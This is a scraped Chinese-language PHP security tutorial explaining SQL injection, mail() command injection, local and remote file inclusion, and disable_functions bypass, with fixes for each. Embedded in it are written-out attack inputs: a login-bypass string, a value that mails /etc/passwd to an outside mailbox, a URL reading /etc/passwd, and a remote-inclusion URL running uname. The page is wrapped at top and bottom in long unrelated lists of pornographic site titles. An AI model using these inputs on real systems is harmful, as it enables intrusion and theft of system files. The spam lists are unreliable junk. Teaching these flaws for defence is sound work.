欧美三区四区_av先锋影音资源站_亚洲第一论坛sis_影音先锋2020色资源网_亚洲精品社区_在线免费观看av网站_国产一区二区伦理_亚洲欧美视频一区二区_99视频精品全部免费在线_精精国产xxxx视频在线

PHP網(wǎng)站開發(fā)過程的安全知識(shí)_PHP教程

編輯Tag賺U幣
教程Tag:暫無Tag,歡迎添加,賺取U幣!

推薦:學(xué)習(xí)動(dòng)態(tài)網(wǎng)頁制作PHP技術(shù)的正則表達(dá)式
正則表達(dá)式難于書寫、難于閱讀、難于維護(hù),經(jīng)常錯(cuò)誤匹配意料不到的文本或者錯(cuò)過了有效的文本,這些問題都是由正則表達(dá)式的表現(xiàn)和能力引起的。每個(gè)元字符(metacharacter)的能力和細(xì)微差別組合在一起,使得代碼不借助于智力技巧就無法解釋。 許多包含一定特性

1、古老的欺騙SQL語句

在默認(rèn)模式下,即使是你忘了把php.ini拷到/usr/local/lib/php.ini下,php還是打開magic_quotes_gpc=on。

這樣所有從GET/POST/Cookie來的變量的單引號(hào)(')、雙引號(hào)(")、反斜杠backslash(\)以及空字元NUL

(the null byte)都會(huì)被加上反斜杠,以使數(shù)據(jù)庫能夠正確查詢。

但是在php-4-RC2的時(shí)候引入了一個(gè)配置文件php.ini-optimized,這個(gè)優(yōu)化的php.ini卻是

magic_quotes_gpc=off的。某些網(wǎng)管看到optimized字樣也許就會(huì)把php.ini-optimized拷到

/usr/local/lib/php.ini,這時(shí)就比較危險(xiǎn)。象比較簡單的驗(yàn)證,假設(shè)沒有過濾必要的字符:

select * from login where user='$HTTP_POST_VARS[user]' and pass='$HTTP_POST_VARS[pass]'

我們就可以在用戶框和密碼框輸入1‘ or 1='1通過驗(yàn)證了。這是非常古董的方法了,這個(gè)語句會(huì)

替換成這樣:

select * from login where user='1' or 1='1' and pass='1' or 1='1'

因?yàn)閛r 1='1'成立,所以通過了。

解決的辦法最好就是過濾所有不必要的字符,還有就是推薦對于從GET/POST/Cookie來的并且用在SQL

中的變量加一個(gè)自定義的函數(shù):

function gpc2sql($str) {

if(get_magic_quotes_gpc()==1)

return $str;

else

return addslashes($str);

}

主要是為了你的程序能安全移植在各種系統(tǒng)里。

2、mail函數(shù)的第五個(gè)參數(shù)

在php-4.0.5的時(shí)候,mail函數(shù)引入了第五個(gè)參數(shù),用來設(shè)置在實(shí)際發(fā)送郵件的時(shí)候增加額外的命令行參數(shù),但是沒有很好的檢查特殊SHELL命令字符,所以出現(xiàn)執(zhí)行命令的大問題。就像手冊里的例子:

mail("nobody@aol.com", "the subject", $message, "From: webmaster@$SERVER_NAME", "-fwebmaster@$SERVERNAM");

這個(gè)是存在問題的,如果$SERVER_NAME=;mail mb5u@mb5u.com < /etc/passwd就能把機(jī)器的密碼發(fā)送到我的信箱了。

這里提醒一下,php手冊里還有好幾個(gè)例子存在安全問題的,大家實(shí)際使用的時(shí)候不要照搬,它只是演示函數(shù)的基本功能,理解了就可以了。

對于mail函數(shù)的這個(gè)問題,最簡單的我們就不用這個(gè)第五個(gè)參數(shù),要使用就過濾非法的字符如(;),還有就是修改php源碼包的程序ext/standard/mail.c,在if (extra_cmd != NULL) { 前增加如下一行:

extra_cmd=NULL

然后重新編譯。

3、UNIX版的require, include函數(shù)

win版本的require和include函數(shù)是不支持HTTP和FTP遠(yuǎn)程文件包含的,而UNIX版本默認(rèn)都是支持遠(yuǎn)程包含文件。

require和include不管你是什么擴(kuò)展名的,把你包含進(jìn)來就作為程序的一部分來執(zhí)行。

我們在寫程序的時(shí)候?yàn)榱顺绦虻哪K化,以及程序的可移植性,不可避免的用到很多require或include函數(shù),而且有時(shí)用變量作為參數(shù),比如:include("$something"); 如果這時(shí)用戶能控制$something參數(shù),而這個(gè)參數(shù)又沒有過濾,那就慘拉。

首先可以看任何web用戶有讀權(quán)限的文件,假設(shè)這個(gè)程序叫http://victim/test.php,這樣我們就可以用如下

url: http://victim/test.php?something=/etc/passwd 看到/etc/passwd文件。

另外可以利用其遠(yuǎn)程文件包含的功能執(zhí)行命令。比如我在www.AAA.org下建立一個(gè)文件test.php,內(nèi)容是:

 

http://victim/test.php?something=http://www.xfocus.org/test.php?cmd=uname這種方式運(yùn)行任

意的命令。

phpMyAdmin也出現(xiàn)了這個(gè)問題,我們可以用它看任何我們想看的文件。但是它在include前,先用file_exist函數(shù)判斷文件是否存在,而這個(gè)file_exist是不支持遠(yuǎn)程文件的,所以上面第二種辦法無法直接使用。但是我們可以利用apache的日志功能,請求一個(gè)帶php代碼的url,這樣,something指定為apache的日志也可以執(zhí)行命令了,但是apache的日志通常比較大,有太多雜亂信息。

http://www.securereality.com.au/sradv00008.txt提到的辦法比較巧妙,用file upload的方式把本地的執(zhí)行命令的腳本上傳,會(huì)在服務(wù)器的文件上傳臨時(shí)目錄里產(chǎn)生php8Ta02I之類的文件名,由于這時(shí)文件是存在的,所以能通過file_exist函數(shù),從而執(zhí)行上傳文件里的執(zhí)行腳本。

所以對于include, require函數(shù)的使用一定要小心,特別是以包含的文件以參數(shù)指定這種方式,參數(shù)絕對不能讓用戶來控制。還有通過修改php.ini文件去掉遠(yuǎn)程文件包含這個(gè)功能。這個(gè)在php-4.0.3以前用disable-url-fopen-wrapper 在以后的版本用allow_url_fopen = off來關(guān)閉。

4、disable_function

在php-4.0.1,php.ini里引入了一項(xiàng)功能disable_functions , 這個(gè)功能比較有用,可以用它禁止一些函數(shù)。

比如在php.ini里加上disable_functions = passthru exec system popen 那么在執(zhí)行這些函數(shù)的時(shí)候只會(huì)提示W(wǎng)arning: system() has been disabled for security reasons.唉,但是也不是沒有辦法執(zhí)行系統(tǒng)命令了。因?yàn)閜hp采用了很多perl的特性,比如還可以用(`)來執(zhí)行命令:

 

$output = `ls -al`;

echo "

$output
";

 

?>

這個(gè)只有設(shè)成safe_mode才能避免,可是可惡的safe_mode實(shí)在是限制太多了,做其它事情也有些礙手礙腳。

5、file upload

php文件上傳的問題在文章http://m.ghpqjb.com/htmldata/2007-06-23/1182581230.html里已經(jīng)描述的很清楚了,這的確是個(gè)比較嚴(yán)重的問題,一般我們要上傳的文件也會(huì)放在web目錄,所以容易給攻擊者得到系統(tǒng)的一些web用戶能讀的文件。

幸虧在php-4.0.3以后提供了is_uploaded_file和move_uploaded_file函數(shù)。所以php-4.0.3以上的上傳文件的程序一定不要再用copy函數(shù)了,用move_uploaded_file代替,它會(huì)檢查是否是上傳的文件。如果是php-4.0.2及以下的,建議在copy前加一個(gè)函數(shù):

function is_uploaded_file($filename) {

if (!$tmp_file = get_cfg_var('upload_tmp_dir')) {

$tmp_file = dirname(tempnam('', ''));

}

$tmp_file.='/'.basename($filename);

/* User might have trailing slash in php.ini... */

return (ereg_replace('/ ', '/', $tmp_file) == $filename);

}

這個(gè)漏洞在安全焦點(diǎn)呆了很久,只是在copy之前有很多驗(yàn)證阿、判斷阿的語句,所以使之攻擊存在相當(dāng)?shù)碾y度。

還有,千萬不要以環(huán)境變量、Cookie變量、session變量等作為關(guān)系生死的判斷條件,因?yàn)檫@些變量太容易被偽造了。

呵呵,手頭事情比較多,其它慢慢想到了再加吧,也歡迎其他同志任意的添加修改之。

分享:單元測試對PHP代碼的檢查
測試驅(qū)動(dòng)的開發(fā)和單元測試是確保代碼在經(jīng)過修改和重大調(diào)整之后依然能如我們期望的一樣工作的最新方法。在本文中,您將學(xué)習(xí)到如何在模塊、數(shù)據(jù)庫和用戶界面(UI)層對自己的 PHP 代碼進(jìn)行單元測試。 現(xiàn)在是凌晨 3 點(diǎn)。我們怎樣才能知道自己的代碼依然在工作呢?

來源:模板無憂//所屬分類:PHP教程/更新時(shí)間:2009-03-13
相關(guān)PHP教程
日韩一区有码在线| 久久久久国产| 国产亚洲精品福利| 最新亚洲国产精品| 日日噜噜噜夜夜爽爽| 麻豆changesxxx国产| 国产精品玖玖玖在线资源| 91美女片黄在线观看91美女| 在线看片第一页欧美| 久久天天东北熟女毛茸茸| 欧美国产日韩综合| 蜜桃成人av| 一区二区三区在线播放| 国产精品av在线播放| 久久久久亚洲av片无码v| 超级碰碰久久| 国产a级毛片一区| 在线丨暗呦小u女国产精品| 免费cad大片在线观看| 天天干天天干天天操| 综合在线视频| 欧美中文字幕不卡| 久久99影院| 欧美丰满熟妇bbbbbb| 亚洲欧洲免费| 亚洲精品国产a久久久久久| 国产成人精品久久久| 精品久久久久久无码人妻| 精品久久福利| 久久精品亚洲国产奇米99| 色综合久久悠悠| 污污的视频免费| 午夜影院免费视频| 国产尤物一区二区在线| 亚洲天堂av图片| 久久综合九色综合88i| 国产免费久久久| 美女网站色91| 亚洲丝袜在线视频| 欧美s码亚洲码精品m码| 隣の若妻さん波多野结衣| 激情综合色综合久久| 国产亚洲综合久久| 无码精品国产一区二区三区免费| 韩国中文字幕hd久久精品| 国产精品自在在线| 日韩在线不卡视频| 日本中文字幕二区| 日本欧美在线| 国产精品久久久久久久久久免费看| 国产va免费精品高清在线| 亚洲少妇18p| 美女一区二区在线观看| 亚洲高清免费在线| eeuss一区二区三区| 欧美日韩免费一区二区| 午夜精彩国产免费不卡不顿大片| 91精品国产乱码久久蜜臀| 亚洲乱码国产乱码精品天美传媒| 午夜一区二区三区四区| 日本在线不卡视频| 中文字幕日韩精品在线| 亚洲欧美日韩一级| 色综合视频一区二区三区44| 中文字幕亚洲在| 亚洲一区二区久久久久久久| 久草视频手机在线| 综合av在线| 亚洲成人激情图| 人妻熟妇乱又伦精品视频| 自拍偷拍欧美视频| 国产日产欧产精品推荐色| 国产精品劲爆视频| 日韩三级久久久| 黄色综合网站| 亚洲精品一区在线观看香蕉| 男女视频一区二区三区| 日本久久久久| 亚洲一本大道在线| 久久99精品久久久久久水蜜桃| 精品国产xxx| 久草中文综合在线| 欧美成在线观看| 一本色道久久hezyo无码| 午夜精品影视国产一区在线麻豆| 在线中文字幕不卡| 欧美爱爱视频网站| 欧美一区二区公司| 中文字幕高清不卡| 97在线电影| 久久青青草原亚洲av无码麻豆| 日本欧美一区二区三区乱码| 久久夜色撩人精品| 成人在线电影网站| 日韩欧美一区免费| 欧美成人国产一区二区| 国产1区2区在线| 国产亚洲高清在线观看| 精品高清一区二区三区| 手机成人在线| 亚洲精品无码专区| 国产日韩欧美一区二区三区乱码| 成人疯狂猛交xxx| 日韩美女黄色片| 久久99精品国产麻豆婷婷洗澡| 久久久久久久爱| www.黄色在线| 亚洲精品护士| 久久综合久久88| www.色天使| 国产精品va| 最近中文字幕mv在线一区二区三区四区| 手机在线免费毛片| 欧洲杯足球赛直播| 亚洲精品一区二区在线观看| 亚洲精品www.| 国产成人精品三级高清久久91| 日韩一区二区三区免费看 | 日韩中文字幕亚洲精品欧美| 亚洲天堂导航| 亚洲一区二区偷拍精品| 一区二区视频国产| 欧美aa视频| 亚洲成在人线免费| 麻豆视频传媒入口| 懂色aⅴ精品一区二区三区| 五月综合激情婷婷六月色窝| 国产对白在线播放| 欧美日韩五区| 岛国精品视频在线播放| 毛片在线视频观看| 成人噜噜噜噜| 欧美日韩在线播放| 手机看片福利日韩| 亚洲电影一级片| 亚洲国产精品999| 亚洲天堂小视频| 一级欧洲+日本+国产| 日韩亚洲第一页| 影音先锋男人在线| 三级不卡在线观看| 日本一本a高清免费不卡| 日韩和一区二区| 粉嫩aⅴ一区二区三区四区五区| 91色精品视频在线| 亚洲天堂中文网| 中文字幕一区免费在线观看| 午夜视频久久久| 日韩成人亚洲| 在线视频欧美区| 欧美伦理视频在线观看| 狠狠色丁香婷婷综合影院| 亚洲人成自拍网站| 91国模少妇一区二区三区| 丝袜国产日韩另类美女| 国产成人一区二| 青青艹在线观看| 中文字幕在线一区免费| 伊人天天久久大香线蕉av色| 91麻豆精品| 欧美一区日韩一区| 色哟哟网站在线观看| 亚洲高清资源| 2020国产精品视频| 五月天激情国产综合婷婷婷| 国产亚洲短视频| 伊人久久99| 中文字幕一区二区三区日韩精品| 亚洲高清久久久久久| 国产熟女高潮一区二区三区 | 日韩三区在线| 欧美日韩午夜在线视频| 久久精品一二三四| 一本色道久久综合亚洲精品高清| 欧美亚洲另类激情另类| 夜夜躁日日躁狠狠久久av| 亚洲欧洲av另类| 亚洲区成人777777精品| 加勒比色老久久爱综合网| 亚洲欧美激情一区| 亚洲欧美另类日本| 成人激情午夜影院| 免费看污久久久| 成人在线免费av| 日韩久久久精品| 性欧美13一14内谢| 国产美女精品一区二区三区| 国产精品香蕉视屏| 久久久加勒比| 亚洲第一天堂无码专区| jizz日本在线播放| 成人污污视频在线观看| 日韩精品一线二线三线| 亚洲色图27p| www.好吊操| 本网站久久精品| 欧美va在线播放| 亚洲精品成人无码熟妇在线| 国内成人精品2018免费看| 国产在线观看一区| 欧美电影在线观看网站| 亚洲国产精品成人av| 国产欧美小视频| 91在线看国产| 糖心vlog在线免费观看| 欧美猛男同性videos| 欧美区在线播放| 嫩草影院一区二区三区| 天天色天天操综合| 亚洲日本黄色片| 日本欧美一区二区在线观看| 国产伦精品一区二区三区免费视频| 色狠狠一区二区三区| 亚洲欧美国产一本综合首页| 免费日韩在线视频| 国产精品久久久久久久久免费相片| 日本在线xxx| 午夜亚洲福利| 成人啪啪免费看| 伊人久久高清| 亚洲精品午夜精品| 日本午夜小视频| 亚洲精品国产高清久久伦理二区| 天堂av在线网站| 香蕉亚洲视频| 国产一区喷水| 国产成人aa在线观看网站站| 久久精品国产成人| 国产偷人爽久久久久久老妇app| 精品久久久久久久久久久| 在线观看视频你懂得| 久久er精品视频| 神马一区二区影院| 伊人久久大香线蕉综合网站 | 天天操精品视频| 久久黄色级2电影| 色爱区成人综合网| sdde在线播放一区二区| 日本久久久久久久久| 日批免费在线观看| 亚洲丁香婷深爱综合| 久操视频免费在线观看| 一区二区在线观看视频在线观看| 亚洲精品在线视频播放| 国产精品538一区二区在线| 永久免费在线看片视频| 一区二区三区午夜视频| 亚洲一区二区三区视频播放| 国产精品xnxxcom| 久久久精品一区二区三区| 91免费视频播放| 日韩视频国产视频| 久久久久久久久97| 午夜成人在线视频| 亚洲欧美在线不卡| 久久丝袜美腿综合| 97视频在线免费播放| 日韩av网站在线观看| 日韩中文一区二区三区| 999久久久国产精品| 91免费综合在线| 日韩三级不卡| 性日韩欧美在线视频| 香蕉视频免费看| 尤物九九久久国产精品的分类| 在线播放一级片| 日韩欧美一级在线播放| 日韩av男人天堂| 日本黄色一区二区| 亚洲一二三四五六区| 一区二区三区高清不卡| 国产网站无遮挡| 欧美经典一区二区三区| 九九九九九国产| 丁香五精品蜜臀久久久久99网站 | 粉嫩av一区二区夜夜嗨| 亚洲精品乱码久久久久久金桔影视 | 久久久久久久极品内射| 欧美日韩一二三四五区| 亚洲天堂av中文字幕| 亚洲一区二区视频在线| 亚洲天堂成人av| 国产精品国产自产拍高清av | 欧美成人福利视频| 久久免费激情视频| 欧美高清你懂得| 国产污视频在线观看| 91久久精品一区二区三| 黑鬼狂亚洲人videos| 欧美日韩一区二区免费在线观看| 国产午夜福利一区| 亚洲无线码一区二区三区| 99久久精品免费视频| 怡红院av一区二区三区| 一级片手机在线观看| 一区二区国产视频| 蜜桃av乱码一区二区三区| 亚洲一区二区三区国产| www色com| 亚洲mv在线观看| 欧美手机在线观看| 在线欧美日韩国产| 国产污视频在线观看| 777欧美精品| 国产午夜免费福利| 精品日韩一区二区三区| 国产偷人爽久久久久久老妇app | 久久99久久99小草精品免视看| 97中文字幕在线| 激情综合五月天| 天堂在线资源视频| 99免费精品在线| 手机在线观看日韩av| 国产精品久久久久影院色老大 | 国产精品久久久久久久久久免费看 | 爱情岛论坛亚洲首页入口章节| 99久久综合99久久综合网站| 手机av在线网站| 日本一二三四高清不卡| 亚洲欧美在线不卡| 亚洲国产欧美日韩另类综合| 91高清免费看| 欧美日韩一区精品| 亚洲av无码不卡| 精品亚洲aⅴ在线观看| 黄色www视频| 欧美多人乱p欧美4p久久| 久久亚洲精品人成综合网| 国产成人jvid在线播放| 日本欧美韩国国产| 国产精品乱码一区二区三区| 韩国一区二区三区在线观看| 国产对白在线播放| 狠狠狠色丁香婷婷综合激情| 婷婷六月天在线| 中文字幕av一区二区三区| 免费网站在线高清观看| 色婷婷亚洲精品| 亚洲免费在线视频观看| 亚洲欧美国产视频| 国产成人精品亚洲日本在线观看| 欧美重口另类videos人妖| 在线日韩一区| 欧美日韩一区二区三区免费| 免费亚洲婷婷| 黄色片视频在线播放| 久久久99久久| 日本一卡二卡在线播放| 欧美三级电影在线看| 在线亚洲欧美日韩| 日韩中文视频免费在线观看| 99精品视频在线免费播放 | 青青影院一区二区三区四区| 久久国产高清| 噼里啪啦国语在线观看免费版高清版| 久久精品水蜜桃av综合天堂| 乐播av一区二区三区| 欧美日韩一区国产| 国产精品嫩草影院精东| 久久av中文字幕| 老牛国内精品亚洲成av人片| 久久99精品久久久久久久青青日本 | 日本一区二区三区精品| 亚洲品质视频自拍网| 粉嫩av一区二区三区四区五区| 国产日韩在线看| 精品999成人| 黄色免费视频大全| 欧美极品aⅴ影院| www.97视频| 亚洲高清福利视频| 粉嫩91精品久久久久久久99蜜桃| 成人天堂噜噜噜| 亚洲视频1区| 五月婷婷深爱五月| 亚洲精品福利视频网站| 青青草av在线播放| 国产一区二区日韩| 久久久久久爱| 蜜桃91精品入口| 狠狠色丁香久久婷婷综| 性活交片大全免费看| 91成人网在线| 精品久久国产视频| 日韩av手机在线| 综合久久精品| 白嫩少妇丰满一区二区| 一区二区在线观看视频| 日本一区二区免费电影| 久久亚洲精品小早川怜子66| 偷窥自拍亚洲色图精选| 99热这里只有精品7| 91女人视频在线观看| 伊人久久久久久久久久久久久久| 亚洲激情视频网| 日本亚洲欧洲无免费码在线| 国产精品日韩一区二区| 久久99久久久欧美国产| 女同毛片一区二区三区| 日韩欧美国产三级|